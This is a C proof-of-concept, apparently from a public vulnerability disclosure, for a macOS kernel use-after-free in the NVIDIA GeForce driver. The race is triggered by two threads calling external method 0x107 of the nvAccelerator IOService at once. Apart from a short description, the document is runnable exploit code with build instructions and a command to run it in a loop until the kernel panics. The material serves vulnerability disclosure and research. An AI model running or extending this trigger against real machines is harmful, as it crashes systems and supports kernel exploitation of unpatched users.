|
/* nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService. It calls task_deallocate without locking. Two threads can race calling this external method to drop two task references when only one is held. Note that the repro forks a child which give the nvAccelerator a different task otherwise the repro is more likely to leak task references than panic. */ // ianbeer #if 0 MacOS kernel UAF due to lack of locking in nvidia GeForce driver nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService. It calls task_deallocate without locking. Two threads can race calling this external method to drop two task references when only one is held. Note that the repro forks a child which give the nvAccelerator a different task otherwise the repro is more likely to leak task references than panic. #endif // build: clang -o nvtask nvtask.c -framework IOKit // run: while true; do ./nvtask; done #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> uint64_t set_app_support_bits(mach_port_t conn) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputStructCnt = 1; outputStructCnt = 1; inputStruct[0] = 0xff; err = IOConnectCallMethod( conn, 0x107, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } volatile int go = 0; volatile int running = 0; void* thread_func(void* arg) { mach_port_t conn = (mach_port_t)arg; printf("thread running\n"); running = 1; while(!go){;} set_app_support_bits(conn); return 0; } int main(int argc, char** argv){ pid_t child_pid = fork(); if (child_pid == -1) { printf("fork failed\n"); return 0; } if (child_pid) { io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator")); if (service == MACH_PORT_NULL) { printf("unable to find service\n"); return 0; } printf("got service: 0x%x\n", service); io_connect_t conn = MACH_PORT_NULL; kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice if (err != KERN_SUCCESS) { printf("unable to open ioservice\n"); return 0; } printf("got service\n"); pthread_t th; pthread_create(&th, NULL, thread_func, (void*)conn); while(!running){;} go = 1; set_app_support_bits(conn); pthread_join(th, NULL); int loc = 0; wait(&loc); } else { io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator")); if (service == MACH_PORT_NULL) { printf("unable to find service\n"); return 0; } printf("got service: 0x%x\n", service); io_connect_t conn = MACH_PORT_NULL; kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice if (err != KERN_SUCCESS) { printf("unable to open ioservice\n"); return 0; } printf("got service\n"); set_app_support_bits(conn); } return 0; }
|
|
|